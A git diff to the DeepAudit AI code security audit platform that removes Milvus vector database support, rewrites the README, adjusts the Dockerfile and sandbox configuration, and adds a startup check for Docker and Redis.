diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 7f73157..a42179f 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -180,11 +180,8 @@ jobs: echo "" >> CHANGELOG.md echo "### 快速部署" >> CHANGELOG.md echo "\`\`\`bash" >> CHANGELOG.md - echo "# 基础部署" >> CHANGELOG.md + echo "# 部署" >> CHANGELOG.md echo "docker compose up -d" >> CHANGELOG.md - echo "" >> CHANGELOG.md - echo "# Agent 模式部署(包含 Milvus 向量数据库)" >> CHANGELOG.md - echo "docker compose --profile agent up -d" >> CHANGELOG.md echo "\`\`\`" >> CHANGELOG.md # 12. 创建 GitHub Release diff --git a/.gitignore b/.gitignore index 3a78edf..b009785 100644 --- a/.gitignore +++ b/.gitignore @@ -184,9 +184,6 @@ trufflehog_results.json ttt/ examples/ -# Milvus data -milvus_data/ - # ChromaDB data chroma/ diff --git a/CHANGELOG.md b/CHANGELOG.md index 19923f3..8c5384c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -27,7 +27,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 #### RAG Knowledge Base - Code semantic understanding with Tree-sitter AST-based chunking - CWE/CVE vulnerability knowledge base integration -- Milvus/ChromaDB vector database support +- ChromaDB vector database support - Multi-language support: Python, JavaScript, TypeScript, Java, Go, PHP, Rust #### Security Sandbox diff --git a/README.md b/README.md index 5d3df89..2e566d2 100644 --- a/README.md +++ b/README.md @@ -1,250 +1,499 @@ -# DeepAudit - AI 驱动的智能代码安全审计平台 🛡️ - -
- DeepAudit Logo -
-
-[![Version](https://img.shields.io/badge/version-3.0.0-blue.svg)](https://github.com/lintsinghua/DeepAudit/releases) -[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) -[![React](https://img.shields.io/badge/React-18-61dafb.svg)](https://reactjs.org/) -[![TypeScript](https://img.shields.io/badge/TypeScript-5.7-3178c6.svg)](https://www.typescriptlang.org/) -[![FastAPI](https://img.shields.io/badge/FastAPI-0.100+-009688.svg)](https://fastapi.tiangolo.com/) -[![Python](https://img.shields.io/badge/Python-3.13+-3776ab.svg)](https://www.python.org/) +# DeepAudit + +### **AI-Powered Intelligent Code Security Audit Platform** + +*让安全审计像呼吸一样简单* + +
+ +DeepAudit Logo + +
+ +[![Version](https://img.shields.io/badge/version-3.0.0-blue.svg?style=for-the-badge)](https://github.com/lintsinghua/DeepAudit/releases) +[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg?style=for-the-badge)](https://opensource.org/licenses/MIT) +[![React](https://img.shields.io/badge/React-18-61dafb.svg?style=for-the-badge&logo=react)](https://reactjs.org/) +[![FastAPI](https://img.shields.io/badge/FastAPI-0.100+-009688.svg?style=for-the-badge&logo=fastapi)](https://fastapi.tiangolo.com/) +[![Python](https://img.shields.io/badge/Python-3.13+-3776ab.svg?style=for-the-badge&logo=python)](https://www.python.org/) +[![TypeScript](https://img.shields.io/badge/TypeScript-5.7-3178c6.svg?style=for-the-badge&logo=typescript)](https://www.typescriptlang.org/) + +
+ +[![Stars](https://img.shields.io/github/stars/lintsinghua/DeepAudit?style=for-the-badge&color=gold)](https://github.com/lintsinghua/DeepAudit/stargazers) +[![Forks](https://img.shields.io/github/forks/lintsinghua/DeepAudit?style=for-the-badge)](https://github.com/lintsinghua/DeepAudit/network/members) +[![Issues](https://img.shields.io/github/issues/lintsinghua/DeepAudit?style=for-the-badge)](https://github.com/lintsinghua/DeepAudit/issues) [![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/lintsinghua/DeepAudit) -[![Stars](https://img.shields.io/github/stars/lintsinghua/DeepAudit?style=social)](https://github.com/lintsinghua/DeepAudit/stargazers) -[![Forks](https://img.shields.io/github/forks/lintsinghua/DeepAudit?style=social)](https://github.com/lintsinghua/DeepAudit/network/members) +
+ +[🚀 快速开始](#-快速开始) • +[✨ 核心功能](#-核心功能) • +[🤖 Agent 审计](#-multi-agent-智能审计) • +[📚 文档](#-文档) • +[🤝 贡献](#-贡献) + +
+ +DeepAudit Demo
-## 🚀 v3.0.0 新特性 - -**DeepAudit v3.0.0** 带来了革命性的 **Multi-Agent 智能审计系统**: - -- 🤖 **Multi-Agent 架构** — Orchestrator 编排决策,Analysis/Recon/Verification 多智能体协作 -- 🧠 **RAG 知识库增强** — 代码语义理解 + CWE/CVE 漏洞知识库,精准识别安全风险 -- 🔒 **沙箱漏洞验证** — Docker 安全容器自动执行 PoC,验证漏洞真实有效性 -- 🛠️ **专业安全工具集成** — Semgrep、Bandit、Gitleaks、TruffleHog、OSV-Scanner - --- -## 💡 这是什么? - -**你是否也有这样的困扰?** - -- 😫 人工审计的无力:哪怕我不吃不睡,也追不上代码迭代的速度 -- 🤯 传统工具的噪音:每天都在清理误报,感觉自己像个垃圾分类员 -- 😰 代码隐私的风险:想用 AI 却不敢"裸奔",生怕源码泄露给云端 -- 🥺 外包项目的隐患:不知道里面藏了多少雷,却不得不签字验收 - -**DeepAudit 来拯救你!** 🦸‍♂️ - -- 全自动智能审计:AI 驱动的 Multi-Agent 系统自主编排审计策略 -- 上下文精准理解:RAG 增强的代码语义理解,大大降低误报率 -- 沙箱验证漏洞:自动生成 PoC 并在隔离环境验证,确保漏洞真实有效 -- 支持本地私有部署:支持 Ollama 本地模型,代码数据可以不出内网 - -## 🎬 眼见为实: - -| 智能仪表盘 | 即时分析 | -|:---:|:---:| -| ![仪表盘](frontend/public/images/example1.png) | ![即时分析](frontend/public/images/example2.png) | -| *一眼掌握项目安全态势* | *粘贴代码/上传文件,秒出结果* | - -| Agent 审计 | 审计报告 | -|:---:|:---:| -| Agent审计 | 审计报告 | -| *Multi-Agent 深度安全分析* | *专业报告,一键导出* | - -| 审计规则管理 | 提示词模板管理 | -|:---:|:---:| -| ![审计规则](frontend/public/images/audit-rules.png) | ![提示词管理](frontend/public/images/prompt-manager.png) | -| *内置 OWASP Top 10,支持自定义规则* | *提示词可视化管理,支持在线测试* | - -## ✨ 为什么选择我们? +## 🎉 v3.0.0 新特性 - - + +
- -### 🤖 Multi-Agent 智能协作 -- **Orchestrator Agent**: 统筹编排,自主决策审计策略 -- **Recon Agent**: 信息收集,识别技术栈和入口点 -- **Analysis Agent**: 深度分析,挖掘潜在安全漏洞 -- **Verification Agent**: 沙箱验证,确认漏洞真实有效 - -### 🧠 RAG 知识库增强 -- 代码语义理解,不只是关键词匹配 -- CWE/CVE 漏洞知识库集成 -- 精准漏洞识别,大幅降低误报 - -### 🎯 What-Why-How 三步修复 -- **What**: 精准定位问题所在 -- **Why**: 解释为什么这是个问题 -- **How**: 给出可直接使用的修复建议 - + +

🤖 Multi-Agent

+

Orchestrator 编排决策
多智能体自主协作

- -### 🔒 沙箱安全验证 -- Docker 隔离容器执行 PoC -- 资源限制 + 网络隔离 + seccomp 策略 -- 自动验证漏洞可利用性 - -### 🛠️ 专业安全工具集成 -- **Semgrep**: 多语言静态分析 -- **Bandit**: Python 安全扫描 -- **Gitleaks/TruffleHog**: 密钥泄露检测 -- **OSV-Scanner**: 依赖漏洞扫描 - -### 🔌 10+ LLM 平台任你选 -OpenAI、Claude、Gemini、通义千问、DeepSeek、智谱AI... -还支持 Ollama 本地私有化部署! - + +

🧠 RAG 增强

+

代码语义理解
CWE/CVE 知识库检索

+
+

🔒 沙箱验证

+

Docker 安全容器
自动 PoC 验证

+
+

🛠️ 工具集成

+

Semgrep • Bandit
Gitleaks • OSV-Scanner

+--- + +## 💡 为什么需要 DeepAudit? + +> **你是否也有这样的困扰?** + +| 😫 痛点 | 💡 DeepAudit 解决方案 | +|---------|----------------------| +| 人工审计跟不上代码迭代速度 | **Multi-Agent 自主审计**,AI 自动编排审计策略 | +| 传统工具误报率高,每天都在清理噪音 | **RAG 知识库增强**,代码语义理解大幅降低误报 | +| 担心源码泄露给云端 AI | **支持 Ollama 本地部署**,代码数据不出内网 | +| 外包项目不知道藏了多少雷 | **沙箱 PoC 验证**,确认漏洞真实可利用 | + +--- + +## 📸 界面预览 + +
+ +### 🤖 Agent 审计入口 + +Agent审计入口 + +*首页快速进入 Multi-Agent 深度审计* + +
+ + + + + + + + + + +
+📋 审计流日志

+审计流日志
+实时查看 Agent 思考与执行过程 +
+🎛️ 智能仪表盘

+仪表盘
+一眼掌握项目安全态势 +
+⚡ 即时分析

+即时分析
+粘贴代码 / 上传文件,秒出结果 +
+🗂️ 项目管理

+项目管理
+GitHub/GitLab 导入,多项目协同管理 +
+ +
+ +### 📊 专业报告 + +审计报告 + +*一键导出 PDF / Markdown / JSON*(图中为快速模式,非Agent模式报告) + +👉 [查看Agent审计完整报告示例](docs/audit_report_智能漏洞挖掘审计%20-%20完整示例_2025-12-15.html) + +
+ +--- + ## 🚀 快速开始 -### Docker Compose 一键部署(推荐) +### 📦 Docker Compose 一键部署(推荐) ```bash # 1️⃣ 克隆项目 git clone https://github.com/lintsinghua/DeepAudit.git && cd DeepAudit -# 2️⃣ 配置你的 LLM API Key +# 2️⃣ 配置 LLM API Key cp backend/env.example backend/.env # 编辑 backend/.env,填入你的 API Key -# 3️⃣ 一键启动! +# 3️⃣ 构建沙箱镜像(Agent 漏洞验证必须) +cd docker/sandbox && chmod +x build.sh && ./build.sh && cd ../.. + +# 4️⃣ 启动所有服务 docker compose up -d ``` -🎉 **搞定!** 打开 http://localhost:3000 开始体验吧! +🎉 **完成!** 访问 **http://localhost:3000** 开始体验(包含 Multi-Agent 审计能力) -### Agent 审计模式部署(可选) +### 🔑 演示账户 -如需使用 Multi-Agent 深度审计功能: +| 📧 邮箱 | 🔑 密码 | +|--------|---------| +| `demo@example.com` | `demo123` | -```bash -# 启动包含 Milvus 向量数据库的完整服务 -docker compose --profile agent up -d +> ⚠️ **生产环境请务必删除演示账户或修改密码!** -# 构建安全沙箱镜像(用于漏洞验证) -cd docker/sandbox && ./build.sh -``` +
+📖 更多部署方式(本地开发、生产环境配置) -### 演示账户 +查看 **[部署指南](docs/DEPLOYMENT.md)** 了解: +- 本地开发环境搭建 +- 生产环境配置 +- HTTPS 配置 +- 反向代理设置 +- 环境变量详解 -系统内置演示账户,包含示例项目和审计数据: +
-- 📧 邮箱:`demo@example.com` -- 🔑 密码:`demo123` +--- -> ⚠️ **生产环境请删除演示账户或修改密码!** +## ✨ 核心功能 -> 📖 更多部署方式请查看 [部署指南](docs/DEPLOYMENT.md) + + + + + +
-## ✨ 核心能力 +### 🤖 Multi-Agent 智能审计 -| 功能 | 说明 | +自主编排、深度分析、自动验证 + +- **Orchestrator Agent** — 统筹编排,制定审计策略 +- **Recon Agent** — 信息收集,识别技术栈和入口点 +- **Analysis Agent** — 深度分析,挖掘潜在安全漏洞 +- **Verification Agent** — 沙箱验证,确认漏洞有效性 + +### 🧠 RAG 知识库增强 + +超越简单关键词匹配 + +- Tree-sitter AST 智能代码分块 +- ChromaDB 向量数据库 +- CWE / CVE 漏洞知识库集成 +- 多语言支持:Python, JS, TS, Java, Go, PHP, Rust + +### 🔒 安全沙箱验证 + +Docker 隔离环境执行 PoC + +- 资源限制(CPU / Memory) +- 网络隔离 +- seccomp 安全策略 +- 自动生成并执行 PoC 代码 + + + +### 🛠️ 专业安全工具集成 + +| 工具 | 功能 | |------|------| -| 🤖 **Agent 审计** | Multi-Agent 架构,Orchestrator 自主编排决策,深度漏洞挖掘 | -| 🧠 **RAG 增强** | 代码语义理解,CWE/CVE 知识库检索,精准漏洞识别 | -| 🔒 **沙箱验证** | Docker 安全容器执行 PoC,自动验证漏洞有效性 | -| 🗂️ **项目管理** | GitHub/GitLab 一键导入,ZIP 上传,支持 10+ 编程语言 | -| ⚡ **即时分析** | 代码片段秒级分析,粘贴即用,无需创建项目 | -| 🔍 **智能审计** | Bug、安全、性能、风格、可维护性五维检测 | -| 💡 **可解释分析** | What-Why-How 模式,精准定位 + 修复建议 | -| 📋 **审计规则** | 内置 OWASP Top 10、代码质量、性能优化规则集 | -| 📝 **提示词模板** | 可视化管理审计提示词,支持中英文双语 | -| 📊 **可视化报告** | 质量仪表盘、趋势分析、PDF/JSON 一键导出 | -| ⚙️ **灵活配置** | 浏览器运行时配置 LLM,无需重启服务 | +| Semgrep | 多语言静态分析 | +| Bandit | Python 安全扫描 | +| Gitleaks | 密钥泄露检测 | +| TruffleHog | 深度密钥扫描 | +| OSV-Scanner | 依赖漏洞扫描 | +| npm audit | Node.js 依赖审计 | +| Safety | Python 依赖审计 | -## 🤖 支持的 LLM 平台 +### 🎯 What-Why-How 三步修复 -| 类型 | 平台 | -|------|------| -| 🌍 **国际平台** | OpenAI GPT · Claude · Gemini · DeepSeek | -| 🇨🇳 **国内平台** | 通义千问 · 智谱AI · Kimi · 文心一言 · MiniMax · 豆包 | -| 🏠 **本地部署** | Ollama (Llama3, CodeLlama, Qwen2.5, DeepSeek-Coder...) | +- **What** — 精准定位问题所在 +- **Why** — 解释为什么这是个问题 +- **How** — 给出可直接使用的修复建议 -> 💡 支持 API 中转站,解决网络访问问题 +### 📊 可视化报告 -详细配置请查看 [LLM 平台支持](docs/LLM_PROVIDERS.md) +- 智能安全评分 +- 漏洞趋势分析 +- 一键导出 PDF / JSON -## 🎯 未来蓝图 +
-### ✅ 已完成 +--- -- ✅ **RAG 知识库** — 代码语义理解 + CWE/CVE 漏洞知识库集成 -- ✅ **多 Agent 协作** — Orchestrator/Analysis/Recon/Verification 多智能体架构 -- ✅ **沙箱验证** — Docker 安全容器自动执行 PoC 验证 +## 🤖 Multi-Agent 智能审计 + +### 架构概览 + +
+DeepAudit 架构图 +
+ +### 支持的漏洞类型 + + + + + + +
+ +| 漏洞类型 | 描述 | +|---------|------| +| `sql_injection` | SQL 注入 | +| `xss` | 跨站脚本攻击 | +| `command_injection` | 命令注入 | +| `path_traversal` | 路径遍历 | +| `ssrf` | 服务端请求伪造 | +| `xxe` | XML 外部实体注入 | + + + +| 漏洞类型 | 描述 | +|---------|------| +| `insecure_deserialization` | 不安全反序列化 | +| `hardcoded_secret` | 硬编码密钥 | +| `weak_crypto` | 弱加密算法 | +| `authentication_bypass` | 认证绕过 | +| `authorization_bypass` | 授权绕过 | +| `idor` | 不安全直接对象引用 | + +
+ +> 📖 详细文档请查看 **[Agent 审计指南](docs/AGENT_AUDIT.md)** + +--- + +## 🔌 支持的 LLM 平台 + + + + + + + +
+

🌍 国际平台

+

+OpenAI GPT-4o / GPT-4
+Claude 3.5 Sonnet / Opus
+Google Gemini Pro
+DeepSeek V3 +

+
+

🇨🇳 国内平台

+

+通义千问 Qwen
+智谱 GLM-4
+Moonshot Kimi
+文心一言 · MiniMax · 豆包 +

+
+

🏠 本地部署

+

+Ollama
+Llama3 · Qwen2.5 · CodeLlama
+DeepSeek-Coder · Codestral
+代码不出内网 +

+
+ +> 💡 支持 API 中转站,解决网络访问问题 | 详细配置 → [LLM 平台支持](docs/LLM_PROVIDERS.md) + +--- + +## 🎯 功能矩阵 + +| 功能 | 说明 | 模式 | +|------|------|------| +| 🤖 **Agent 深度审计** | Multi-Agent 协作,自主编排审计策略 | Agent | +| 🧠 **RAG 知识增强** | 代码语义理解,CWE/CVE 知识库检索 | Agent | +| 🔒 **沙箱 PoC 验证** | Docker 隔离执行,验证漏洞有效性 | Agent | +| 🗂️ **项目管理** | GitHub/GitLab 导入,ZIP 上传,10+ 语言支持 | 通用 | +| ⚡ **即时分析** | 代码片段秒级分析,粘贴即用 | 通用 | +| 🔍 **五维检测** | Bug · 安全 · 性能 · 风格 · 可维护性 | 通用 | +| 💡 **What-Why-How** | 精准定位 + 原因解释 + 修复建议 | 通用 | +| 📋 **审计规则** | 内置 OWASP Top 10,支持自定义规则集 | 通用 | +| 📝 **提示词模板** | 可视化管理,支持中英文双语 | 通用 | +| 📊 **报告导出** | PDF / Markdown / JSON 一键导出 | 通用 | +| ⚙️ **运行时配置** | 浏览器配置 LLM,无需重启服务 | 通用 | + +--- + +## 🗺️ 未来蓝图 + +### ✅ 已完成 (v3.0.0) + +- [x] Multi-Agent 协作架构(Orchestrator/Recon/Analysis/Verification) +- [x] RAG 知识库(代码语义 + CWE/CVE) +- [x] Docker 沙箱 PoC 验证 +- [x] 专业安全工具集成 ### 🚧 开发中 -- 🔄 **CI/CD 集成** — GitHub/GitLab 流水线自动审计,PR 批量扫描 -- 🔄 **自动生成补丁** — 基于漏洞分析自动生成修复代码 -- 🔄 **跨文件分析** — 代码知识图谱,理解模块间调用关系 +- [ ] **CI/CD 集成** — GitHub Actions / GitLab CI 流水线自动审计 +- [ ] **自动补丁生成** — 基于漏洞分析自动生成修复代码 +- [ ] **跨文件分析** — 代码知识图谱,理解模块间调用关系 ### 📋 计划中 -- 📋 **混合分析** — AI 分析 + 传统 SAST 工具验证,减少误报漏报 -- 📋 **多仓库支持** — Gitea、Bitbucket 等更多平台支持 +- [ ] **混合分析** — AI + 传统 SAST 联合验证,减少误报漏报 +- [ ] **IDE 插件** — VS Code / JetBrains 集成 +- [ ] **多仓库支持** — Gitea, Bitbucket, GitLab Self-hosted -💡 **您的 Star 和反馈是我们前进的最大动力!有任何想法欢迎提 Issue 一起讨论~** +--- ## 📚 文档 | 文档 | 说明 | |------|------| -| [部署指南](docs/DEPLOYMENT.md) | Docker 部署 / 本地开发环境搭建 | -| [Agent 审计](docs/AGENT_AUDIT.md) | Multi-Agent 审计模块详解 | -| [配置说明](docs/CONFIGURATION.md) | 后端配置、审计规则、提示词模板 | -| [LLM 平台支持](docs/LLM_PROVIDERS.md) | 各家 LLM 的配置方法和 API Key 获取 | -| [安全工具设置](docs/SECURITY_TOOLS_SETUP.md) | 安全扫描工具本地安装指南 | -| [常见问题](docs/FAQ.md) | 遇到问题先看这里 | -| [更新日志](CHANGELOG.md) | 版本更新记录 | -| [贡献指南](CONTRIBUTING.md) | 想参与开发?看这个 | -| [安全政策](SECURITY.md) / [免责声明](DISCLAIMER.md) | 使用前建议读一下 | +| 📘 [部署指南](docs/DEPLOYMENT.md) | Docker 部署、本地开发、生产配置 | +| 🤖 [Agent 审计](docs/AGENT_AUDIT.md) | Multi-Agent 模块详解 | +| ⚙️ [配置说明](docs/CONFIGURATION.md) | 后端配置、审计规则、提示词模板 | +| 🔌 [LLM 平台](docs/LLM_PROVIDERS.md) | 各家 LLM 配置方法和 API Key 获取 | +| 🛠️ [安全工具](docs/SECURITY_TOOLS_SETUP.md) | 安全扫描工具本地安装指南 | +| ❓ [常见问题](docs/FAQ.md) | 遇到问题先看这里 | +| 📜 [更新日志](CHANGELOG.md) | 版本更新记录 | +| 👥 [贡献指南](CONTRIBUTING.md) | 参与开发 | + +--- + +## 🏗️ 技术栈 + + + + + + +
+ +### 🖥️ 前端 +- **React 18** + TypeScript 5.7 +- **Vite** 构建工具 +- **TailwindCSS** + 自定义 Cyberpunk 主题 +- **Zustand** 状态管理 +- **React Query** 数据获取 + + + +### ⚙️ 后端 +- **FastAPI** + Python 3.13 +- **PostgreSQL** 数据存储 +- **ChromaDB** 向量数据库 +- **Docker** 沙箱容器 +- **SSE** 实时事件流 + +
+ +--- ## 🤝 贡献 -开源项目离不开社区的支持!无论是提 Issue、贡献代码,还是分享使用心得,都非常欢迎。 +开源项目离不开社区的支持!无论是提 Issue、PR,还是分享使用心得,都非常欢迎 🙌 -> 有想和我一起让工具变得更好的佬友们,欢迎联系我,和我一起为开源做一点贡献 + + Contributors + -**感谢每一位贡献者!** +> 💬 想和我一起让工具变得更好?欢迎联系我,一起为开源做贡献! -[![Contributors](https://contrib.rocks/image?repo=lintsinghua/DeepAudit)](https://github.com/lintsinghua/DeepAudit/graphs/contributors) +--- + +## 🙏 致谢 + +DeepAudit 的诞生离不开以下优秀开源项目的支持与启发,在此表示衷心感谢! + +### 🏗️ 架构参考 + +| 项目 | 说明 | License | +|------|------|---------| +| [**Strix**](https://github.com/AiGptCode/Strix) | Multi-Agent 安全审计架构参考,提供了 Agent 协作编排的优秀设计思路 | MIT | + +### 🔧 集成工具 + +| 项目 | 说明 | License | +|------|------|---------| +| [**Kunlun-M (昆仑镜)**](https://github.com/LoRexxar/Kunlun-M) | PHP/JS 静态代码安全审计工具,集成为 Agent 分析工具之一 | MIT | +| [**Semgrep**](https://github.com/semgrep/semgrep) | 多语言静态分析引擎,支持自定义规则 | LGPL-2.1 | +| [**Bandit**](https://github.com/PyCQA/bandit) | Python 安全漏洞扫描工具 | Apache-2.0 | +| [**Gitleaks**](https://github.com/gitleaks/gitleaks) | Git 仓库密钥泄露检测工具 | MIT | +| [**TruffleHog**](https://github.com/trufflesecurity/trufflehog) | 深度密钥和凭证扫描器 | AGPL-3.0 | +| [**OSV-Scanner**](https://github.com/google/osv-scanner) | Google 开源的依赖漏洞扫描器 | Apache-2.0 | + +### 🧠 核心依赖 + +| 项目 | 说明 | License | +|------|------|---------| +| [**LangChain**](https://github.com/langchain-ai/langchain) | LLM 应用开发框架 | MIT | +| [**LangGraph**](https://github.com/langchain-ai/langgraph) | Agent 状态图工作流引擎 | MIT | +| [**LiteLLM**](https://github.com/BerriAI/litellm) | 统一多 LLM 平台调用接口 | MIT | +| [**ChromaDB**](https://github.com/chroma-core/chroma) | 轻量级向量数据库 | Apache-2.0 | +| [**Tree-sitter**](https://github.com/tree-sitter/tree-sitter) | 增量解析库,用于代码 AST 分析 | MIT | +| [**FastAPI**](https://github.com/fastapi/fastapi) | 高性能 Python Web 框架 | MIT | +| [**React**](https://github.com/facebook/react) | 用户界面构建库 | MIT | + +> 💡 感谢所有开源贡献者的无私奉献,让我们能站在巨人的肩膀上构建更好的工具! + +--- ## 📞 联系我们 -- **项目链接**: [https://github.com/lintsinghua/DeepAudit](https://github.com/lintsinghua/DeepAudit) -- **问题反馈**: [Issues](https://github.com/lintsinghua/DeepAudit/issues) -- **作者邮箱**: lintsinghua@qq.com + + + + + + + + + + + + + +
🌐 项目主页github.com/lintsinghua/DeepAudit
🐛 问题反馈Issues
📧 作者邮箱lintsinghua@qq.com
--- -

- ⭐ 如果这个项目对你有帮助,请给我们一个 Star! -
- 你的支持是我们持续迭代的最大动力 💪 -

+
-## 📈 项目统计 +## ⭐ 如果这个项目对你有帮助,请给我们一个 Star! -[![Star History Chart](https://api.star-history.com/svg?repos=lintsinghua/DeepAudit&type=date&legend=top-left)](https://www.star-history.com/#lintsinghua/DeepAudit&type=date&legend=top-left) +**你的支持是我们持续迭代的最大动力 💪** + +
+ +[![Star History Chart](https://api.star-history.com/svg?repos=lintsinghua/DeepAudit&type=Date)](https://star-history.com/#lintsinghua/DeepAudit&Date) + +
--- -

- ⚠️ 使用前请阅读 安全政策免责声明 -

+⚠️ 使用前请阅读 [安全政策](SECURITY.md) 和 [免责声明](DISCLAIMER.md) -

- Made with ❤️ by lintsinghua -

+
+ +**Made with ❤️ by [lintsinghua](https://github.com/lintsinghua)** + +
diff --git a/backend/.dockerignore b/backend/.dockerignore index bdd4ee5..a215ea6 100644 --- a/backend/.dockerignore +++ b/backend/.dockerignore @@ -3,7 +3,6 @@ __pycache__ *.pyc .git .gitignore -*.md .env .vscode .DS_Store diff --git a/backend/Dockerfile b/backend/Dockerfile index 7e6c02a..f2bae6e 100644 --- a/backend/Dockerfile +++ b/backend/Dockerfile @@ -1,4 +1,4 @@ -FROM python:3.13-slim +FROM python:3.12-slim WORKDIR /app @@ -10,15 +10,17 @@ ENV https_proxy= ENV HTTP_PROXY= ENV HTTPS_PROXY= +# 配置 apt 重试机制以处理网络不稳定 +RUN echo 'Acquire::Retries "3";' > /etc/apt/apt.conf.d/80-retries + # 安装系统依赖(包含 WeasyPrint 所需的库和中文字体支持) RUN rm -f /etc/apt/apt.conf.d/proxy.conf 2>/dev/null || true && \ unset http_proxy https_proxy HTTP_PROXY HTTPS_PROXY all_proxy ALL_PROXY && \ apt-get update && \ - apt-get install -y --no-install-recommends \ + apt-get install -y --no-install-recommends --fix-missing \ gcc \ libpq-dev \ curl \ - # WeasyPrint 完整依赖 libpango-1.0-0 \ libpangoft2-1.0-0 \ libpangocairo-1.0-0 \ @@ -27,7 +29,6 @@ RUN rm -f /etc/apt/apt.conf.d/proxy.conf 2>/dev/null || true && \ libffi-dev \ libglib2.0-0 \ shared-mime-info \ - # 字体支持(中文) fonts-noto-cjk \ fonts-noto-cjk-extra \ fontconfig \ @@ -37,8 +38,8 @@ RUN rm -f /etc/apt/apt.conf.d/proxy.conf 2>/dev/null || true && \ # 安装 uv COPY --from=ghcr.io/astral-sh/uv:latest /uv /usr/local/bin/uv -# 复制依赖文件 -COPY pyproject.toml uv.lock ./ +# 复制依赖文件和 README +COPY pyproject.toml uv.lock README.md ./ # 使用 uv 安装依赖(确保无代理) RUN unset http_proxy https_proxy HTTP_PROXY HTTPS_PROXY all_proxy ALL_PROXY && \ diff --git a/backend/README.md b/backend/README.md new file mode 100644 index 0000000..21ccf0f --- /dev/null +++ b/backend/README.md @@ -0,0 +1,3 @@ +# DeepAudit Backend + +AI-Powered Code Security Audit Platform Backend Service. diff --git a/backend/app/core/config.py b/backend/app/core/config.py index b5c5162..4a07275 100644 --- a/backend/app/core/config.py +++ b/backend/app/core/config.py @@ -91,8 +91,8 @@ class Settings(BaseSettings): AGENT_TOKEN_BUDGET: int = 100000 # Agent Token 预算 AGENT_TIMEOUT_SECONDS: int = 1800 # Agent 超时时间(30分钟) - # 沙箱配置 - SANDBOX_IMAGE: str = "python:3.11-slim" # 沙箱 Docker 镜像 + # 沙箱配置(必须) + SANDBOX_IMAGE: str = "deepaudit/sandbox:latest" # 沙箱 Docker 镜像 SANDBOX_MEMORY_LIMIT: str = "512m" # 沙箱内存限制 SANDBOX_CPU_LIMIT: float = 1.0 # 沙箱 CPU 限制 SANDBOX_TIMEOUT: int = 60 # 沙箱命令超时(秒) diff --git a/backend/app/main.py b/backend/app/main.py index 822c417..45c5ca8 100644 --- a/backend/app/main.py +++ b/backend/app/main.py @@ -18,6 +18,37 @@ logging.getLogger("LiteLLM").setLevel(logging.WARNING) logging.getLogger("litellm").setLevel(logging.WARNING) +async def check_agent_services(): + """检查 Agent 必须服务的可用性""" + issues = [] + + # 检查 Docker/沙箱服务 + try: + import docker + client = docker.from_env() + client.ping() + logger.info(" - Docker 服务可用") + except ImportError: + issues.append("Docker Python 库未安装 (pip install docker)") + except Exception as e: + issues.append(f"Docker 服务不可用: {e}") + + # 检查 Redis 连接(可选警告) + try: + import redis + import os + redis_url = os.environ.get("REDIS_URL", "redis://localhost:6379/0") + r = redis.from_url(redis_url) + r.ping() + logger.info(" - Redis 服务可用") + except ImportError: + logger.warning(" - Redis Python 库未安装,部分功能可能受限") + except Exception as e: + logger.warning(f" - Redis 服务连接失败: {e}") + + return issues + + @asynccontextmanager async def lifespan(app: FastAPI): """ @@ -25,13 +56,13 @@ async def lifespan(app: FastAPI): 启动时初始化数据库(创建默认账户等) """ logger.info("DeepAudit 后端服务启动中...") - + # 初始化数据库(创建默认账户) # 注意:需要先运行 alembic upgrade head 创建表结构 try: async with AsyncSessionLocal() as db: await init_db(db) - logger.info("✓ 数据库初始化完成") + logger.info(" - 数据库初始化完成") except Exception as e: # 表不存在时静默跳过,等待用户运行数据库迁移 error_msg = str(e) @@ -39,16 +70,29 @@ async def lifespan(app: FastAPI): logger.info("数据库表未创建,请先运行: alembic upgrade head") else: logger.warning(f"数据库初始化跳过: {e}") - + + # 检查 Agent 服务 + logger.info("检查 Agent 核心服务...") + issues = await check_agent_services() + if issues: + logger.warning("=" * 50) + logger.warning("Agent 服务检查发现问题:") + for issue in issues: + logger.warning(f" - {issue}") + logger.warning("部分功能可能不可用,请检查配置") + logger.warning("=" * 50) + else: + logger.info(" - Agent 核心服务检查通过") + logger.info("=" * 50) logger.info("DeepAudit 后端服务已启动") logger.info(f"API 文档: http://localhost:8000/docs") logger.info("=" * 50) logger.info("演示账户: demo@example.com / demo123") logger.info("=" * 50) - + yield - + logger.info("DeepAudit 后端服务已关闭") diff --git a/backend/env.example b/backend/env.example index 949f98c..b56f693 100644 --- a/backend/env.example +++ b/backend/env.example @@ -106,9 +106,9 @@ LLM_MAX_TOKENS=4096 # OLLAMA_BASE_URL=http://localhost:11434/v1 # ============================================= -# Agent 审计配置 (Multi-Agent v3.0.0 新增) +# Agent 审计配置 (Multi-Agent v3.0.0 核心必须) # ============================================= -# Agent 审计开关(开启后可使用 Multi-Agent 深度审计功能) +# Agent 审计开关(必须开启,是核心功能) AGENT_ENABLED=true # Agent 最大迭代次数 @@ -117,6 +117,10 @@ AGENT_MAX_ITERATIONS=5 # Agent 单次审计超时时间(秒) AGENT_TIMEOUT=1800 +# Redis 配置(Agent 任务队列 - 必须) +# Docker Compose 部署时使用 redis 作为服务器地址 +REDIS_URL=redis://localhost:6379/0 + # ============================================= # 嵌入模型配置(RAG 功能,独立于主 LLM) # ============================================= @@ -137,25 +141,22 @@ EMBEDDING_BASE_URL= # ============================================= # 向量数据库配置(RAG 功能) # ============================================= -# 向量数据库类型: milvus, chroma +# 向量数据库类型: chroma VECTOR_DB_TYPE=chroma # ChromaDB 配置(本地模式) CHROMA_PERSIST_DIRECTORY=./data/chroma -# Milvus 配置(Agent 模式推荐) -# Docker Compose --profile agent 启动时使用 milvus 作为 host -MILVUS_HOST=localhost -MILVUS_PORT=19530 - # ============================================= -# 沙箱配置(漏洞验证) +# 沙箱配置(漏洞验证 - 核心必须) # ============================================= -# 沙箱功能开关 +# 沙箱功能开关(必须开启,是漏洞验证的核心组件) SANDBOX_ENABLED=true -# 沙箱 Docker 镜像(需要提前构建: cd docker/sandbox && ./build.sh) -SANDBOX_IMAGE=deepaudit-sandbox:latest +# 沙箱 Docker 镜像 +# 构建方式 1: docker compose build sandbox +# 构建方式 2: cd docker/sandbox && ./build.sh 